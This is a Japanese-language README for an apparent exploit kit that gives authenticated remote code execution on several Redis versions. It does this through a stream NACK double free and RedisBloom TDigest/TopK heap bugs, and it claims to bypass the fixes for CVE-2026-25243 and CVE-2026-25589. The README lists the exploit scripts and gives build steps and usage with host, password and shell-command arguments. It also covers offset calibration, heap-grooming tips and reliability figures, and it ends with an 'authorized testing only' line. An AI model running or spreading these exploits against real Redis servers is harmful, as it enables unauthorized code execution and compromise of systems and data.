Redis Authenticated RCE (stream NACK double free、TDigest & TopK モジュールのバグ)

Redis 6.2.22、7.4.9、8.6.4 に対する非破壊的なRCEエクスプロイトです。ストリームのコンシューマーグループにおける共有NACKの二重解放（CVE-2026-25243のパッチ回避）を使用し、8.8.0 ではバンドルされたRedisBloomのTDigestヒープオーバーフロー、8.8.1 ではTopKのワイルドフリー（CVE-2026-25589のパッチ回避）を使用します。

ファイル

• A_exploit_stock.py — 6.2.22 用エクスプロイト（redis:6.2.22 イメージ）
• P74_exploit.py（+ P74_g2.py）— 7.4.9 用エクスプロイト（redis:7.4）
• P86_exploit.py — 8.6.4 用エクスプロイト（redis:8.6）
• P88W_exploit.py（+ P88W_lib.py、P88W_corrupt.py）— 8.8.0 用エクスプロイト（redis:8.8.0、バンドルモジュールの TDigest ヒープオーバーフローを使用）
• T88_exploit.py — 8.8.0 と 8.8.1 用エクスプロイト（バンドルモジュールの TopK ワイルドフリーを使用。不完全な CVE-2026-25589 修正の回避 — RedisBloom v8.8.0 と v8.8.2 で動作）
• A_lib.py、G2_arbread.py — 共通ヘルパー（エクスプロイトと同じディレクトリに置く必要があります）
• crc64.c/h、crcspeed.c/h — libcrc64.so のソース（Redis CRC64。有効な RESTORE ペイロードを生成するために必要）
• calibrate.sh — 非公式ビルド用のバイナリオフセットを計算します
• P74_loop.sh、P86_run.sh — 起動リトライ用ラッパー

ビルド（初回のみ）

gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c

要件: Python 3.6+（pipパッケージ不要）、gcc。

使用方法

# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]

# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]

# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]

# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]

• password — 認証なしターゲットの場合は省略（または "" を渡す）
• trigger — シェルコマンド。デフォルトでは /data/pwned* に証明ファイルを書き込みます

例:

# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"

# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"

# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"

# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"

ターゲットの要件

• 6.2.22: デフォルトでは公式イメージのオフセットを使用します。他のビルドの場合は、オフセットを上書きするか（--str-format-off など。--help を参照）、./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] を実行して生成してください。オフセットが誤っているとターゲットサーバーがクラッシュします（範囲外読み出し）。
• 7.4.9 / 8.6.4 / 8.8.0 / 8.8.1: 公式イメージのまま使用します。デバッグフラグは不要です。
• ユーザーが利用できるコマンド: EVAL、RESTORE、XGROUP（8.8.0/8.8.1 ではバンドルされたRedisBloomモジュールも必要ですが、デフォルトで含まれています）。
• 8.8.0/8.8.1 のエクスプロイトはレイアウト依存です: TDigestコリドーとTopKワイルドフリーはどちらも jemalloc のレイアウトに依存します。他のクライアントやコマンドが混在しない新しいインスタンスを使用し、グルーミングミスではリトライしてください。

注記

• 実行後の残存物（意図的で無害）: 二重解放されたチャンクを生かしたままにする少数のエクスプロイトキー。詳細は HARDENING.md を参照。8.8.0 のエクスプロイトは約2000個のゼロ埋めされた tdigest 構造体と破損したオラクルキーを残します。実行後にターゲットに FLUSHALL/SAVE を行わないでください。
• 共有NACKの二重解放は 8.8.0（PR #15081）でのみ修正されています。8.8.0 のエクスプロイトは代わりに、修正されていない別のバンドルモジュールのバグを使用します。
• 実証されたパッチ回避: 共有NACK亜種は CVE-2026-25243 の修正を回避し、TopK ワイルドフリーは CVE-2026-25589 の修正（ポインターの部分的なゼロ化）を回避します。TopK_Destroy は RedisBloom v8.8.0 と v8.8.2 の両方で、サイズ不足のヒープを超えたすべての k ポインターを依然として読み取ります。
• 信頼性: 新しいコンテナで 6.2.22 は 10/10、7.4.9 は 5/5、8.6.4 は 25/25、8.8.0 は 5/5 を検証済み。失敗時はクリーンに中止します。再実行するか、ラッパーを使用してください。

認可されたテスト専用です。